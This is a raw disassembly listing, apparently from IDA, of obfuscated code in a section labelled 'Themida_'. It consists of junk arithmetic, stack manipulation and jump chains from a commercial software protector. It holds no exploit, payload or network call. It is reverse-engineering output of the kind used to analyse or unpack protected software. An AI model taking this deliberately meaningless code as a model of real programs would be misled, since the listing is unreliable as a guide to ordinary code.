; ---------------------------------------------------------------------------
loc_547373: ; CODE XREF: Themida_:0054E110j
mov esp, [esp]
push dword ptr [esp]
jmp loc_5482BF
; ---------------------------------------------------------------------------
loc_54737E: ; CODE XREF: Themida_:0055008Bj
add dh, 0C3h
jmp loc_54B5A6
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], eax
push esp
pop eax
add eax, 4
jmp loc_5453A4
; ---------------------------------------------------------------------------
loc_54739C: ; CODE XREF: Themida_:00546E40j
add ebp, esi
push ecx
mov ecx, 0C743880h
neg ecx
shl ecx, 3
dec ecx
jmp loc_5493BA
; ---------------------------------------------------------------------------
loc_5473AF: ; CODE XREF: Themida_:00546E17j
add edx, 4
jmp loc_549BB6
; ---------------------------------------------------------------------------
loc_5473BA: ; CODE XREF: Themida_:00548BAAj
add edx, ebx
pop ebx
jmp loc_544645
; ---------------------------------------------------------------------------
loc_5473C2: ; CODE XREF: Themida_:0054AED6j
sub bl, 0EDh
push ax
jmp loc_54EF40
; ---------------------------------------------------------------------------
loc_5473CC: ; CODE XREF: Themida_:00544C7Fj
mov edx, esp
push ebp
mov ebp, 4
add edx, 6B0B77E6h
add edx, ebp
sub edx, 6B0B77E6h
pop ebp
push eax
jmp loc_54BB5E
; ---------------------------------------------------------------------------
loc_5473E9: ; CODE XREF: Themida_:00545982j
add esi, eax
add esi, 7E585286h
pop eax
push edx
push 0A31h
jmp loc_54AD29
; ---------------------------------------------------------------------------
loc_5473FD: ; CODE XREF: Themida_:0054E1E6j
mov edi, 38700A7Ah
push ebx
mov ebx, 27801D85h
sub ebx, 22F45B72h
inc ebx
add ebx, 7D9D0ACFh
sub ebx, 608F9208h
add edi, ebx
pop ebx
xor edi, 306B57DCh
jmp loc_54CC2B
; ---------------------------------------------------------------------------
loc_547429: ; CODE XREF: Themida_:0054D513j
add ebx, 4
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], esi
mov esi, 7B02439Dh
mov ecx, 0BD0A453Fh
sub ecx, esi
pop esi
push ebp
mov ebp, 313208D5h
xor ecx, ebp
pop ebp
sub ecx, 733A0975h
add ebx, ecx
pop ecx
sub esp, 4
jmp loc_5489D8
; ---------------------------------------------------------------------------
loc_547468: ; CODE XREF: Themida_:0054D7E4j
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_54654B
; ---------------------------------------------------------------------------
loc_547477: ; CODE XREF: Themida_:00549838j
xor edx, 11A73222h
xor edi, edx
jmp loc_545C92
; ---------------------------------------------------------------------------
loc_547484: ; CODE XREF: Themida_:00544BB6j
sub esp, 4
jmp loc_544E9C
; ---------------------------------------------------------------------------
push ecx
sub esp, 4
mov [esp], eax
push edx
jmp loc_546DFE
; ---------------------------------------------------------------------------
loc_547499: ; CODE XREF: Themida_:0054EC77j
sub esp, 4
jmp loc_54BB9E
; ---------------------------------------------------------------------------
loc_5474A1: ; CODE XREF: Themida_:00549872j
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub esp, 4
mov [esp], edi
jmp loc_548229
; ---------------------------------------------------------------------------
loc_5474C3: ; CODE XREF: Themida_:0054AF2Aj
xor al, 61h
or al, 3Eh
push ebx
jmp loc_54528B
; ---------------------------------------------------------------------------
loc_5474CD: ; CODE XREF: Themida_:00545C75j
sub ecx, 0BCE379Fh
add ecx, 0D98EC196h
add esi, ecx
pop ecx
push esi
push dword ptr [esp+4]
pop esi
jmp loc_54F631
; ---------------------------------------------------------------------------
loc_5474E7: ; CODE XREF: Themida_:0054C937j
xchg ebx, [esp]
jmp loc_549F61
; ---------------------------------------------------------------------------
loc_5474EF: ; CODE XREF: Themida_:005451B1j
push esi
mov esi, 5F8A55D3h
jmp loc_5493C8
; ---------------------------------------------------------------------------
loc_5474FA: ; CODE XREF: Themida_:0054E39Bj
push eax
mov eax, 5820D1Fh
jmp loc_54D8A9
; ---------------------------------------------------------------------------
loc_547505: ; CODE XREF: Themida_:0054E9CFj
mov ecx, 138F6358h
xor ecx, 29A04FAFh
jmp loc_549641
; ---------------------------------------------------------------------------
loc_547515: ; CODE XREF: Themida_:00548D8Cj
xchg dl, cl
add cl, 0E2h
xor al, cl
jmp loc_54791B
; ---------------------------------------------------------------------------
loc_547521: ; CODE XREF: Themida_:0054806Fj
dec esi
jmp loc_547642
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_547527: ; CODE XREF: sub_545BCC+52D3j
sub bl, ch
sub bl, 49h
pop ecx
add bl, al
push ecx
jmp loc_54D1EE
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_547545: ; CODE XREF: Themida_:0054F8B1j
push edi
push edx
jmp loc_54E141
; ---------------------------------------------------------------------------
loc_54754C: ; CODE XREF: Themida_:00544DC3j
mov ecx, 0FC7FBBADh
xor edx, ecx
jmp loc_54518D
; ---------------------------------------------------------------------------
loc_547558: ; CODE XREF: Themida_:00545A47j
xchg edx, [esp]
pop esp
shl esi, 5
inc esi
add esi, 0D25B0F81h
add edi, esi
mov esi, [esp]
push edx
mov edx, esp
push ecx
mov ecx, 5AB40708h
shr ecx, 8
shr ecx, 6
sub ecx, 16ACCh
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp]
pop esp
xchg edi, [esp]
jmp loc_54D315
; ---------------------------------------------------------------------------
loc_547592: ; CODE XREF: Themida_:0054F9CCj
mov ecx, [esp]
add esp, 4
mov eax, ecx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_54EFAD
; ---------------------------------------------------------------------------
loc_5475A8: ; CODE XREF: Themida_:0054626Cj
xchg ecx, [esp]
jmp loc_544C11
; ---------------------------------------------------------------------------
loc_5475B0: ; CODE XREF: Themida_:00545404j
xchg ebx, [esp]
pop esp
add ebx, 4
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_54FC6D
; ---------------------------------------------------------------------------
loc_5475CE: ; CODE XREF: Themida_:00548A6Bj
add eax, 4
xchg eax, [esp]
pop esp
add esi, 115C2814h
add esi, ebx
sub esi, 115C2814h
mov ebx, [esp]
jmp loc_54F75C
; ---------------------------------------------------------------------------
loc_5475EB: ; CODE XREF: Themida_:0054E16Ej
mov [esp], edx
mov edx, 2
mov ebx, edx
push dword ptr [esp]
jmp loc_54BFAE
; ---------------------------------------------------------------------------
loc_5475FD: ; CODE XREF: Themida_:0054EBB4j
push dword ptr [esp]
jmp loc_54A804
; ---------------------------------------------------------------------------
loc_547605: ; CODE XREF: Themida_:00549513j
push 4CAFh
mov [esp], ebx
mov ebx, 40h
and ecx, ebx
push dword ptr [esp]
mov ebx, [esp]
jmp loc_54C1AC
; ---------------------------------------------------------------------------
loc_54761F: ; CODE XREF: Themida_:005442CBj
sub esp, 4
mov [esp], edx
jmp loc_54F778
; ---------------------------------------------------------------------------
loc_54762A: ; CODE XREF: Themida_:0054C95Aj
pop edx
shl ebx, 6
jmp loc_544449
; ---------------------------------------------------------------------------
loc_547633: ; CODE XREF: Themida_:005463D8j
mov dl, 0DAh
shr dl, 3
sub dl, 0E8h
add al, dl
jmp loc_54BE04
; ---------------------------------------------------------------------------
loc_547642: ; CODE XREF: Themida_:00547522j
push ebx
mov ebx, 29199Fh
xor esi, ebx
pop ebx
add edx, esi
pop esi
jmp loc_54CE76
; ---------------------------------------------------------------------------
loc_547653: ; CODE XREF: Themida_:0054CC44j
mov dl, al
pop eax
pop ebx
add al, 7Eh
add al, dl
jmp loc_54BB33
; ---------------------------------------------------------------------------
loc_547660: ; CODE XREF: Themida_:0054BD1Dj
sub bx, bp
pop ebp
sub bx, 63EEh
add bx, ax
jmp loc_54DB30
; ---------------------------------------------------------------------------
loc_547671: ; CODE XREF: Themida_:005481E7j
mov edi, 6B200638h
push 2606h
mov [esp], esi
push ecx
mov ecx, 6C401EEEh
jmp loc_54D816
; ---------------------------------------------------------------------------
loc_547689: ; CODE XREF: Themida_:00546DAEj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
std
jmp loc_54CB51
; ---------------------------------------------------------------------------
loc_54769F: ; CODE XREF: Themida_:0054E146j
mov edi, edx
pop edx
or eax, edi
jmp loc_54466A
; ---------------------------------------------------------------------------
loc_5476A9: ; CODE XREF: Themida_:00545256j
push ebx
push dword ptr [esp+4]
jmp loc_547DF9
; ---------------------------------------------------------------------------
loc_5476B3: ; CODE XREF: Themida_:0054A3FDj
xchg ecx, [esp]
pop esp
mov esi, [esp]
jmp loc_546FA8
; ---------------------------------------------------------------------------
loc_5476BF: ; CODE XREF: Themida_:00544990j
pop edi
jmp loc_550055
; ---------------------------------------------------------------------------
loc_5476C5: ; CODE XREF: Themida_:0054D625j
mov ebp, esp
push esi
jmp loc_546A5A
; ---------------------------------------------------------------------------
loc_5476CD: ; CODE XREF: Themida_:0054CDE2j
sub esp, 4
mov [esp], edi
mov edi, 14786DA3h
push esi
jmp loc_54680D
; ---------------------------------------------------------------------------
loc_5476E1: ; CODE XREF: Themida_:005470F8j
pop esi
or edx, eax
shl edx, 1
xor [edi+24h], edx
xor edx, [edi+24h]
xor [edi+24h], edx
jmp loc_54DD2E
; ---------------------------------------------------------------------------
loc_5476F4: ; CODE XREF: Themida_:0054F405j
pop edx
add ecx, ebp
pop ebp
sub ecx, 4
jmp loc_54ED29
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_547708: ; CODE XREF: Themida_:0054A9FAj
sub esp, 4
mov [esp], edi
push 3D41h
mov [esp], esp
push ecx
jmp loc_54E982
; ---------------------------------------------------------------------------
loc_54771C: ; CODE XREF: Themida_:005479B0j
push ecx
jmp loc_54A64A
; ---------------------------------------------------------------------------
loc_547722: ; CODE XREF: Themida_:0054963Cj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_547E97
; ---------------------------------------------------------------------------
loc_547730: ; CODE XREF: Themida_:0054F03Cj
mov esi, 4
mov edx, esi
pop esi
add [esp+4], edx
pop edx
jmp loc_5440E5
; ---------------------------------------------------------------------------
loc_547742: ; CODE XREF: Themida_:0054DA9Aj
pop ebx
or ah, cl
pop cx
push ebx
mov bl, 0B8h
push cx
mov ch, 6Ch
sub bl, ch
pop cx
push eax
mov al, 3Dh
dec al
add al, 0F4h
jmp loc_54B7A9
; ---------------------------------------------------------------------------
loc_54775E: ; CODE XREF: Themida_:00546B28j
add esp, 4
add edx, 4
jmp loc_544919
; ---------------------------------------------------------------------------
loc_547769: ; CODE XREF: Themida_:00545E6Bj
pop eax
xchg ecx, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_544022
; ---------------------------------------------------------------------------
loc_547778: ; CODE XREF: Themida_:0054813Cj
add esp, 4
movzx eax, al
mov dx, [esp]
push 2268h
mov [esp], ebp
jmp loc_54EC7C
; ---------------------------------------------------------------------------
loc_54778F: ; CODE XREF: Themida_:0054D754j
sub [esp+4], ebp
pop ebp
pop edx
push esi
jmp loc_548D15
; ---------------------------------------------------------------------------
loc_54779B: ; CODE XREF: Themida_:00545180j
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_54D7C9
; ---------------------------------------------------------------------------
loc_5477AA: ; CODE XREF: Themida_:0054D8C0j
add eax, edi
mov edi, [esp]
add esp, 4
sub edi, 157F3E31h
sub edi, eax
add edi, 157F3E31h
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_54CAAD
; ---------------------------------------------------------------------------
loc_5477D7: ; CODE XREF: Themida_:0054697Cj
mov [esp], cx
push ebx
mov bl, 14h
mov ch, 85h
add ch, bl
jmp loc_5456AE
; ---------------------------------------------------------------------------
loc_5477E7: ; CODE XREF: Themida_:00549684j
mov ebp, 419D0B16h
push edx
mov edx, 595674C2h
and ebp, edx
pop edx
shr ebp, 1
neg ebp
or ebp, 546215DBh
dec ebp
add ebp, 969C0D6Ch
jmp loc_545C04
; ---------------------------------------------------------------------------
loc_54780B: ; CODE XREF: Themida_:00546C7Ej
mov [esp], ax
push edx
mov dl, 0BAh
inc dl
add dl, 5Ch
xor dl, 2Dh
mov al, dl
jmp loc_54B945
; ---------------------------------------------------------------------------
loc_547821: ; CODE XREF: Themida_:0054FA01j
sub esp, 4
mov [esp], eax
mov eax, 5FE3323Ah
sub eax, 9042C70h
sub eax, 9827428h
xor eax, 4D5C919Ah
mov edi, eax
pop eax
push edi
jmp loc_548DDD
; ---------------------------------------------------------------------------
loc_547844: ; CODE XREF: Themida_:00547D6Dj
pop esp
add esi, 2
xor esi, [esp]
xor [esp], esi
jmp loc_54C0EE
; ---------------------------------------------------------------------------
loc_547856: ; CODE XREF: Themida_:00546FA3j
add ebx, 3BE57C94h
jmp loc_54B144
; ---------------------------------------------------------------------------
loc_547861: ; CODE XREF: Themida_:00544B6Dj
mov [esp], ebp
push 0BD73285h
pop ebp
add ebx, ebp
mov ebp, [esp]
push edi
mov edi, esp
push ecx
jmp loc_54F6A7
; ---------------------------------------------------------------------------
loc_547878: ; CODE XREF: Themida_:00545024j
sub ebx, 7986BD5h
mov edi, [esp]
add esp, 4
push dword ptr [eax]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54788E: ; CODE XREF: Themida_:00548621j
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
xor edx, edx
push 7941h
mov [esp], ebx
mov eax, [esp]
jmp loc_549D27
; ---------------------------------------------------------------------------
loc_5478C3: ; CODE XREF: Themida_:00548B5Aj
sub ebp, 1
jmp loc_5451AB
; ---------------------------------------------------------------------------
loc_5478CB: ; CODE XREF: Themida_:0054F600j
push ebx
push ecx
jmp loc_548338
; ---------------------------------------------------------------------------
loc_5478D2: ; CODE XREF: Themida_:0054B2E6j
push 34C8h
mov [esp], ebp
mov ebp, 2E227EC5h
add eax, ebp
pop ebp
mov edi, [esp]
add esp, 4
jmp loc_54C895
; ---------------------------------------------------------------------------
dd 0E99F2CACh, 0FFFFD6B0h
; ---------------------------------------------------------------------------
loc_5478F8: ; CODE XREF: Themida_:0054AD3Cj
sub esi, 0E9388BB2h
sub eax, 386F7832h
add eax, esi
add eax, 386F7832h
mov esi, [esp]
add esp, 4
push ebx
mov ebx, esp
jmp loc_548CB0
; ---------------------------------------------------------------------------
loc_54791B: ; CODE XREF: Themida_:0054751Cj
mov cx, [esp]
push 264Bh
mov [esp], edi
jmp loc_54EB6D
; ---------------------------------------------------------------------------
loc_54792C: ; CODE XREF: Themida_:00549399j
mov ecx, 0AAA4D4E2h
sub ecx, 2AD1382Dh
add ecx, esi
add ecx, 2AD1382Dh
mov esi, [esp]
jmp loc_54EB59
; ---------------------------------------------------------------------------
loc_547947: ; CODE XREF: Themida_:0054CE44j
add dword ptr [esp], 4
jmp loc_54C09B
; ---------------------------------------------------------------------------
loc_547950: ; CODE XREF: Themida_:0054D652j
and edx, 90F5D0Dh
jmp loc_54FA32
; ---------------------------------------------------------------------------
loc_54795B: ; CODE XREF: Themida_:00546808j
and edi, 53E0037Fh
not edi
xor edi, 0C9DBB0BFh
jmp loc_549F9E
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
mov ebp, esp
push edx
mov edx, 3AD6345Dh
and edx, 30507AC2h
shl edx, 7
dec edx
jmp loc_54C3E7
; ---------------------------------------------------------------------------
loc_54798A: ; CODE XREF: Themida_:0054C2B9j
push ecx
mov ecx, 0CE533B6Bh
add edi, ecx
pop ecx
mov edx, edi
pop edi
sub edx, 1
sub esp, 4
jmp loc_54A2CE
; ---------------------------------------------------------------------------
loc_5479A4: ; CODE XREF: Themida_:0054B2F9j
shl edx, 3
add edx, 0D719964h
add ebx, edx
pop edx
jmp loc_54771C
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
jmp loc_54A261
; ---------------------------------------------------------------------------
loc_5479CC: ; CODE XREF: Themida_:0054A2D6j
xor edx, edi
jmp loc_5493D2
; ---------------------------------------------------------------------------
loc_5479D3: ; CODE XREF: Themida_:0054E655j
shr edi, 2
sub edi, 0A168FA11h
jmp loc_545B2D
; ---------------------------------------------------------------------------
loc_5479E1: ; CODE XREF: Themida_:00548C0Bj
add eax, 4
jmp loc_54478E
; ---------------------------------------------------------------------------
loc_5479EB: ; CODE XREF: Themida_:0054DDF7j
push dword ptr [esp]
pop edx
add esp, 4
sub edx, 73064834h
add edx, 105B78CEh
add edx, edi
sub edx, 105B78CEh
push ecx
push eax
mov eax, 17AB2A1Bh
jmp loc_54D06C
; ---------------------------------------------------------------------------
loc_547A15: ; CODE XREF: Themida_:0054C6FAj
xor [esp], eax
xor eax, [esp]
xor [esp], eax
xchg eax, ebx
not ebx
xchg eax, ebx
push eax
push dword ptr [esp+4]
jmp loc_54ACFF
; ---------------------------------------------------------------------------
loc_547A2C: ; CODE XREF: Themida_:0054FA7Fj
push ebp
not dword ptr [esp]
pop ebp
not ebp
or ebp, 63803212h
not ebp
neg ebp
sub ebp, 291A8765h
push edi
jmp loc_54D41A
; ---------------------------------------------------------------------------
loc_547A49: ; CODE XREF: Themida_:00548DF9j
; Themida_:0054ECC1j ...
push dword ptr [esp]
push dword ptr [esp]
jmp loc_54DE0E
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7F37h
jmp loc_546017
; ---------------------------------------------------------------------------
loc_547A62: ; CODE XREF: Themida_:00545223j
pop esi
pop esi
jmp loc_54C95F
; ---------------------------------------------------------------------------
loc_547A69: ; CODE XREF: Themida_:0054DF7Ej
mov [esp], edx
jmp loc_548418
; ---------------------------------------------------------------------------
loc_547A71: ; CODE XREF: Themida_:00544364j
pop dword ptr [esp]
pop esp
mov [esp], ax
jmp loc_54EDC3
; ---------------------------------------------------------------------------
loc_547A7E: ; CODE XREF: Themida_:00547C7Cj
or edi, edx
jmp loc_54FAA3
; ---------------------------------------------------------------------------
loc_547A85: ; CODE XREF: Themida_:00546D2Fj
dec ch
shl ch, 1
add ch, 0C3h
sub al, ch
pop ecx
add al, 30h
sub al, ch
jmp loc_54C37E
; ---------------------------------------------------------------------------
loc_547A98: ; CODE XREF: Themida_:0054A2AEj
mov [esp], edi
mov edi, 2DE20247h
jmp loc_54410A
; ---------------------------------------------------------------------------
loc_547AA5: ; CODE XREF: Themida_:0054AAE4j
push edx
mov edx, 98347A4h
sub edx, 28322152h
and edx, 335C7E5Ch
push 2F28h
jmp loc_54FA77
; ---------------------------------------------------------------------------
loc_547AC1: ; CODE XREF: Themida_:0054504Dj
add esp, 4
shr eax, 0Ah
jmp loc_54C6F0
; ---------------------------------------------------------------------------
loc_547ACF: ; CODE XREF: Themida_:0054A324j
mov esi, [esp]
add esp, 4
add esi, 4
push ecx
mov ecx, 2
add esi, 22380AE4h
add esi, ecx
sub esi, 22380AE4h
pop ecx
jmp loc_54AA5B
; ---------------------------------------------------------------------------
loc_547AF8: ; CODE XREF: Themida_:0054882Bj
sub edx, ecx
pop ecx
not edx
push esi
jmp loc_546145
; ---------------------------------------------------------------------------
loc_547B03: ; CODE XREF: Themida_:0054911Cj
mov ebp, [esp]
jmp loc_544E91
; ---------------------------------------------------------------------------
loc_547B0B: ; CODE XREF: Themida_:0054A028j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
movsx cx, al
jmp loc_54664C
; ---------------------------------------------------------------------------
loc_547B1E: ; CODE XREF: Themida_:005484F6j
mov edi, esp
push 4360h
mov [esp], eax
jmp loc_546182
; ---------------------------------------------------------------------------
loc_547B2D: ; CODE XREF: Themida_:0054C533j
mov ebx, edi
pop edi
xor ebx, 2B837668h
add esi, ebx
jmp loc_547258
; ---------------------------------------------------------------------------
loc_547B3D: ; CODE XREF: Themida_:0054732Aj
pop ecx
or [edi+1Ch], edx
pop edx
loc_547B42: ; CODE XREF: Themida_:0054C852j
push ebx
push 6AB1h
mov [esp], ebp
push ebx
mov ebx, 4C576FEAh
jmp loc_54873B
; ---------------------------------------------------------------------------
loc_547B56: ; CODE XREF: Themida_:0054A673j
pop esp
sub [edi+24h], ecx
pop ecx
loc_547B5B: ; CODE XREF: Themida_:0054F7D8j
push 52E7h
mov [esp], ebx
push esi
sub esp, 4
mov [esp], ebx
push ecx
push ebp
push 48E752D4h
pop ebp
jmp loc_54F827
; ---------------------------------------------------------------------------
loc_547B77: ; CODE XREF: Themida_:0054B0B6j
add edi, 4
xchg edi, [esp]
pop esp
add [esp+4], ebp
pop ebp
pop esi
push 4F4Dh
jmp loc_54E201
; ---------------------------------------------------------------------------
loc_547B8E: ; CODE XREF: Themida_:0054B88Ej
push esp
pop eax
add eax, 4
push ecx
mov ecx, 5A4051DAh
shr ecx, 2
jmp loc_54DA9F
; ---------------------------------------------------------------------------
loc_547BA3: ; CODE XREF: Themida_:00549272j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_54C1C3
; ---------------------------------------------------------------------------
loc_547BBD: ; CODE XREF: Themida_:0054DEDBj
dec edi
and edi, 444A4BDFh
inc edi
add edi, 0FCF92412h
add eax, edi
pop edi
pop ecx
sub eax, ebx
jmp loc_548654
; ---------------------------------------------------------------------------
loc_547BD6: ; CODE XREF: Themida_:0054DD55j
mov eax, 4C0C3446h
not eax
push edx
mov edx, 9CF747Fh
sub eax, edx
pop edx
add eax, 1
sub eax, 0AA245717h
add eax, edi
xor [eax], edx
pop eax
jmp loc_54AFF4
; ---------------------------------------------------------------------------
loc_547BFA: ; CODE XREF: Themida_:00544189j
mov ebp, 4CD13BFCh
jmp loc_5488E6
; ---------------------------------------------------------------------------
loc_547C04: ; CODE XREF: Themida_:0054D1C9j
add ebx, 4AEB19B0h
push ebp
jmp loc_548FEB
; ---------------------------------------------------------------------------
loc_547C10: ; CODE XREF: Themida_:00546158j
sub [esp+8], edi
pop edi
pop ebx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_547C1B: ; CODE XREF: Themida_:0054C945j
xchg esi, [esp]
mov esp, [esp]
sub edx, 1A0C176Ah
sub edx, 0ADB1B53h
add edx, eax
add edx, 0ADB1B53h
jmp loc_54E861
; ---------------------------------------------------------------------------
loc_547C3A: ; CODE XREF: Themida_:00549790j
push ebp
jmp loc_545F79
; ---------------------------------------------------------------------------
loc_547C40: ; CODE XREF: Themida_:005491E0j
shr esi, 6
add esi, 27037CB2h
jmp loc_54CE0A
; ---------------------------------------------------------------------------
mov ecx, ebx
mov esi, ecx
pop ecx
pop ebx
jmp loc_54B6E4
; ---------------------------------------------------------------------------
loc_547C59: ; CODE XREF: Themida_:0054C870j
add dl, ah
pop ax
jmp loc_548775
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_549970
; ---------------------------------------------------------------------------
loc_547C7B: ; CODE XREF: Themida_:0054F90Aj
pop ebp
jmp loc_547A7E
; ---------------------------------------------------------------------------
loc_547C81: ; CODE XREF: Themida_:00544FE9j
add esp, 4
shl esi, 1
push ebp
mov ebp, 71CAA14h
xor esi, ebp
pop ebp
sub eax, 55AB5E16h
add eax, esi
add eax, 55AB5E16h
jmp loc_54DBBF
; ---------------------------------------------------------------------------
loc_547CA0: ; CODE XREF: Themida_:0054D90Aj
push esi
mov esi, esp
jmp loc_54CB87
; ---------------------------------------------------------------------------
loc_547CA8: ; CODE XREF: Themida_:0054BA03j
xor edx, [esp]
mov esp, [esp]
jmp loc_5464D4
; ---------------------------------------------------------------------------
loc_547CB3: ; CODE XREF: Themida_:00548460j
pop edx
push ebp
jmp loc_545FDE
; ---------------------------------------------------------------------------
loc_547CBA: ; CODE XREF: Themida_:00549B01j
push ecx
sub esp, 4
jmp loc_549C64
; ---------------------------------------------------------------------------
loc_547CC6: ; CODE XREF: Themida_:0054E3D4j
sub esi, 3AE644Fh
sub esi, 75A9180Eh
add esi, eax
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_54C35B
; ---------------------------------------------------------------------------
loc_547CE8: ; CODE XREF: Themida_:00545688j
not ch
mov dl, ch
jmp loc_54448C
; ---------------------------------------------------------------------------
loc_547CF1: ; CODE XREF: Themida_:0054CADCj
add dword ptr [esp], 4
pop ebp
jmp loc_54DAB7
; ---------------------------------------------------------------------------
loc_547CFB: ; CODE XREF: Themida_:0054731Dj
mov eax, esp
push ecx
mov ecx, 61204784h
inc ecx
jmp loc_545461
; ---------------------------------------------------------------------------
loc_547D09: ; CODE XREF: Themida_:0054CE18j
mov ecx, [esp]
add esp, 4
jmp loc_549DC7
; ---------------------------------------------------------------------------
loc_547D14: ; CODE XREF: Themida_:00548499j
mov esp, [esp]
imul ecx
push esi
mov esi, esp
add esi, 4
jmp loc_54DF52
; ---------------------------------------------------------------------------
loc_547D27: ; CODE XREF: Themida_:0054C5C5j
and ebp, 1E47061Dh
jmp loc_54F902
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_547D41: ; CODE XREF: Themida_:0054B865j
sub eax, 0F017D8E0h
jmp loc_547283
; ---------------------------------------------------------------------------
loc_547D4B: ; CODE XREF: Themida_:00549659j
mov ebp, 4
add edx, ebp
pop ebp
push ebx
jmp loc_54AEAE
; ---------------------------------------------------------------------------
loc_547D59: ; CODE XREF: Themida_:0054BDB4j
shl ecx, 6
push edi
mov edi, 0FCEF2A55h
xor ecx, edi
pop edi
jmp loc_54E1D9
; ---------------------------------------------------------------------------
loc_547D6A: ; CODE XREF: Themida_:0054EE6Cj
xor ecx, [esp]
jmp loc_547844
; ---------------------------------------------------------------------------
loc_547D72: ; CODE XREF: Themida_:0054B923j
pop ebp
add eax, 527B5515h
add eax, edx
sub eax, 527B5515h
push dword ptr [esp]
jmp loc_54A5E4
; ---------------------------------------------------------------------------
loc_547D87: ; CODE XREF: Themida_:005453B3j
add ecx, esi
mov esi, [esp]
jmp loc_54BFF3
; ---------------------------------------------------------------------------
loc_547D91: ; CODE XREF: Themida_:00549215j
push ecx
mov cl, 17h
xor cl, 28h
sub esp, 4
mov [esp], ebx
jmp loc_54AE8A
; ---------------------------------------------------------------------------
loc_547DA5: ; CODE XREF: Themida_:00544096j
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_547DB5: ; CODE XREF: Themida_:00544B4Cj
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_54FFBE
; ---------------------------------------------------------------------------
loc_547DC7: ; CODE XREF: Themida_:0054A913j
mov dx, [esp]
add esp, 2
sub esp, 4
mov [esp], ebx
push 2470h
mov [esp], eax
push ebx
mov bl, dl
push edx
jmp loc_54C282
; ---------------------------------------------------------------------------
loc_547DEB: ; CODE XREF: Themida_:0054843Bj
push ebx
jmp loc_54F01A
; ---------------------------------------------------------------------------
loc_547DF1: ; CODE XREF: Themida_:0054620Bj
push edx
mov edx, esp
jmp loc_54D494
; ---------------------------------------------------------------------------
loc_547DF9: ; CODE XREF: Themida_:005476AEj
pop ebx
pop dword ptr [esp]
jmp loc_546BE8
; ---------------------------------------------------------------------------
loc_547E02: ; CODE XREF: Themida_:0054FF7Cj
neg edx
add edx, 1
push edi
mov edi, 2E6D35A5h
jmp loc_5465B2
; ---------------------------------------------------------------------------
loc_547E12: ; CODE XREF: Themida_:00549B3Cj
push 4648h
mov [esp], ebx
mov bx, 4123h
shr bx, 4
push small 7273h
mov [esp], bx
jmp loc_54E457
; ---------------------------------------------------------------------------
loc_547E2F: ; CODE XREF: Themida_:00544FF0j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_547E34: ; CODE XREF: Themida_:0054ABD2j
pop ebp
xor ebp, 45CD6EC5h
jmp loc_54DF07
; ---------------------------------------------------------------------------
loc_547E40: ; CODE XREF: Themida_:005455F3j
xor ebx, [esp]
jmp loc_54B3E1
; ---------------------------------------------------------------------------
loc_547E48: ; CODE XREF: Themida_:0054C2EFj
add esp, 4
jmp loc_54BAF1
; ---------------------------------------------------------------------------
loc_547E50: ; CODE XREF: Themida_:0054D45Dj
shl ch, 1
shl ch, 3
neg ch
xor ch, 76h
xor bh, ch
jmp loc_54B580
; ---------------------------------------------------------------------------
loc_547E61: ; CODE XREF: Themida_:0054C9C4j
add ebp, 467B4C17h
mov ecx, ebp
pop ebp
push ebp
mov ebp, 50455294h
jmp loc_54BE34
; ---------------------------------------------------------------------------
loc_547E75: ; CODE XREF: Themida_:00544C04j
push 59722EA4h
pop ebx
shl ebx, 1
push ebp
jmp loc_54F4B9
; ---------------------------------------------------------------------------
loc_547E83: ; CODE XREF: Themida_:0054AFE3j
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_549A65
; ---------------------------------------------------------------------------
loc_547E97: ; CODE XREF: Themida_:0054772Bj
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_54FFC6
; ---------------------------------------------------------------------------
loc_547EB0: ; CODE XREF: Themida_:0054EE2Aj
add al, cl
add al, 50h
jmp loc_54D462
; ---------------------------------------------------------------------------
loc_547EB9: ; CODE XREF: Themida_:00546DA5j
add esp, 4
sub esp, 4
mov [esp], ebp
push esp
pop ebp
push edi
push 4
push dword ptr [esp]
pop edi
push eax
mov eax, esp
push ecx
mov ecx, 0B1F34C6h
jmp loc_548A70
